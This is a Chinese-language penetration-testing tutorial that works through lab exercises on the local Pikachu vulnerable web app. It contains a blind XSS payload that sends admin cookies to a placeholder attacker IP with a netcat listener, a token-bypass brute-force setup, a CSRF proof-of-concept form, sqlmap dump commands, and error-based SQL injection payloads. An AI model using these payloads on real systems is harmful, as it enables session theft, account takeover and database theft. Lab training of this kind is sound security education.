暴力破解进阶
基础部分请见1.6 其他基础web漏洞介绍
四种模式的特点:
sinper 针对单一变量爆破
battering ram 可以设置2个变量,paylaod同时赋值给2个变量
pitchfork 两个变量分别设置payload,并且一一对应
cluster bomb 交叉攻击
接下来打开pikachu靶场操作
验证码绕过(on server)
虽然服务端会生成验证码,但是我们可以利用验证码的生命时长来重复利用一个验证码。
所以直接抓包对密码部分进行字典爆破即可。
验证码绕过(on client)
客户端验证验证码的防护能力约等于没有,所以哪怕你直接把数据包里vscode=xxx的部分删除直接爆破密码也可以
token验证(重点)
特点:
- 每次提交,都会随机给你一个token值,一次性的,一旦token不同绝对不让你重复验证
- 可以防御重复提交
- token属于无状态,可以在不同网站之间服务之间共享
- token本身无法暴力破解
但是查看页面源代码,可以看到<input name="token" value="776496975bb416f396451548395" type="hidden">这一部分,所以我们可以想办法调用每次服务端发给我们的token来对密码进行爆破。
- burp抓包,发送到intruder模式为pitch fork,把密码,和token做标记
- 到payload中,payload1使用密码字典,
- options中线程选择1,下面的grep extract(正则表达式),点add,点fetch response,搜索value,把引号内的内容(也就是token)框起来,点OK
- 下面的redirections,点always
- 回到payload,选2,选择Recurisive grep,在下面的地方写上当前token的值
- 记得把payload encoding的勾去掉,Start Attack.
XSS盲打
打开pikachu靶场中Cross-Site Scripting(跨站攻击脚本)中的xss之盲打。
前台地址:http://localhost/vul/xss/xssblind/xss_blind.php
后台地址:http://localhost/vul/xss/xssblind/admin_login.php
黑客端:
- 打开nc ,监听自己的4444端口
nc -lvp 4444
- 构造一个XSS盲打的代码 (重点)
1
|
<script>var img=document.createElement("img");img.src="http://黑客IP:4444/cook?"+escape(document.cookie)+"&address?"+escape(window.location.href);</script>
|
该段代码能够在管理员打开后台时获取其cookie(身份认证信息)和后台地址并发送到黑客的4444端口。
- 将代码连同正常信息提交到留言板,并持续等待nc监听返回结果
- 获取到数据包,例如:
1
2
3
4
5
6
7
8
|
GET /cook?ant%5Buname%5D%3Dadmin%3B%20ant%5Bpw%5D%3D10470c3b4b1fed12c3baac014be15fac67c6e815%3B%20PHPSESSID%3Dge2lk6tk0k0ohc2p5ti73mf2d0&address?http%3A//localhost%3A81/vul/xss/xssblind/admin.php HTTP/1.1
Host: 127.0.0.1:4444
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://localhost:81/vul/xss/xssblind/admin.php
DNT: 1
Connection: close
|
取第一行中有用部分将其中URL编码进行解码提高可读性,也可以使用这个Python脚本一键处理:auto url-decode.py
1
|
cook?ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=ge2lk6tk0k0ohc2p5ti73mf2d0&address?http://localhost:81/vul/xss/xssblind/admin.php
|
可以从中分离出cookie为:
1
|
ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=ge2lk6tk0k0ohc2p5ti73mf2d0
|
后端网址为:http://localhost:81/vul/xss/xssblind/admin.php
黑客访问这个后端网址时使用burp抓包,将刚才的cookie替换进去即可免密登录后台。
CSRF跨站攻击
CSRF通常用于在用户不知情的情况下修改其信息,例如您根据某个网站修改个人信息的页面的表单写一段代码并隐藏在您自己的网站中(例如点击“点我中奖”后会向原网站提交修改用户名的表单),使用一些手段诱导用户访问您的网站并点击按钮,好处是利用用户自己的cookie从而绕过身份验证。
不过现在您不用再手写隐藏表单,您可以在提交个人信息的界面用burp抓包,右键后点击 Engagement tools– **Generate CSRF Poc ** 一键生成后复制html代码到本地自行修改。
例如下面这段代码将会使得用户在点击按钮后性别被修改为直升机。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:81/vul/csrf/csrfget/csrf_get_edit.php">
<input type="hidden" name="sex" value="Helicopter" />
<input type="hidden" name="phonenum" value="15988767673" />
<input type="hidden" name="add" value="nba lakes" />
<input type="hidden" name="email" value="kobe@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="点击中奖!" />
</form>
</body>
</html>
|
sql注入自动化
实际上就是各种类型sql注入的sqlmap教程
打开pikachu靶场至SQL-Inject部分。
Level 1、2、4
1
2
3
4
|
python sqlmap.py -u "http://localhost/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" --current-db --batch --threads 10
python sqlmap.py -u "http://localhost/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables --batch --threads 10
python sqlmap.py -u "http://localhost/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns --batch --threads 10
python sqlmap.py -u "http://localhost/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C id,username,password --dump --batch --threads 10
|
搜索型注入(特别)
搜索型注入在常规闭合基础上还会使用%,要特别注意。
1
2
3
4
|
猜测查询语句:
select * from table1 where username like '% x %'
插入payload:
select * from table1 where username like '% x%' union select 1,2,3 --+ %'
|
insert注入
1
2
3
4
|
猜测insert语句:
insert into table1(username,password,sex,phone,email,addr)values('用户名','密码','性别','地址','住址')
插入payload(注意使用了括号绕过,管道符包裹部分):
insert into table1(username,password,sex,phone,email,addr)values('用户名','密码','性别','地址',' |x ' and extractvalue(1,concat(0x7e,(database()),0x7e))) #| ')
|
update注入
先注册一个账号,进入到修改信息界面:
1
2
3
4
|
猜测update语句:
update table1 set sex='11',phone='22',email='33',addr='44' where username='retr0'
插入payload(管道符包裹部分):
update table1 set sex='11',phone='22',email='33',addr='|44' and extractvalue(1,concat(0x7e,(database()),0x7e)) or '1'='1 '| where username='retr0'
|
delete注入
1
|
python sqlmap.py -u "http://localhost/vul/sqli/sqli_del.php?id=69" --current-db --batch --threads 10
|
HTTP头注入/盲注/宽字节注入
详见1.22 SQL注入系列-2